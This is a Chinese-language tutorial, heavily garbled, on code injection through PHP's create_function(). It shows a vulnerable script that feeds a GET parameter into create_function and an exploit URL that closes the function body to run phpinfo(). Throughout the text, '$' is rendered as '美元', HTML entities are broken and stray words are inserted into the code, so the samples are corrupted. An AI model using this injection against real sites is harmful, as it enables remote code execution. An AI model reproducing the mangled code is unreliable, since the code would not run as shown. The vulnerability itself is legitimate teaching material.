PHP create_function()代码注入

  

第一部分:介绍php函数create_function ():

  ,(args美元   ,美元,代码   ,)

美元args变量部分

代码美元方法代码部分

举例:

create_function(“美元帧”,“echo 帧美元。“张”)

function 英国《金融时报》(帧),{   echo 才能;帧美元。“张”;   }

举一个官方提供的例子:

& lt; php ?   newfunc 美元;=,create_function (“a, b美元”,,“return “ln(美元),+,ln (b)美元,=,”,只记录(a 美元;*,b美元);');   echo “New  anonymous 功能:,newfunc美元”;   echo  newfunc美元(2,M_E),又是;“   ";//输出//,New  anonymous 功能:lambda_1//,ln (2), +, ln (2.718281828459),=1.6931471805599   ?在

第二部分:如何利用create_function()代码注入

测试环境版本:

apache + php 5.2中,apache + php 5.3

有问题的代码:

& lt; php ?//02 - 8. - php ? id=2;} phpinfo ();/*   $ id=$ _GET [' id '];   美元str2=' echo ’。‘测试’。美元id。“;”;   echo  str2美元;   echo “& lt; br/祝辞”;   echo “==============================";   echo “& lt; br/祝辞”;   $ f1 =, create_function(“一美元”,str2美元);   echo “& lt; br/祝辞”;   echo “==============================";   ?在

利用方法:

http://localhost/libtest/02 - 8. php?id=2;} phpinfo ();/*

实现原理:

由于id=2;} phpinfo ();/*

执行函数为:

源代码:   function 英尺(美元),{   echo 才能;“测试”。一美元;   }      注入后代码:   function 英尺(美元),{   echo 才能;“测试”;}   ,,phpinfo();/*;//此处为注入代码。   }


测试效果:

 PHP create_function()代码注入


PHP create_function()代码注入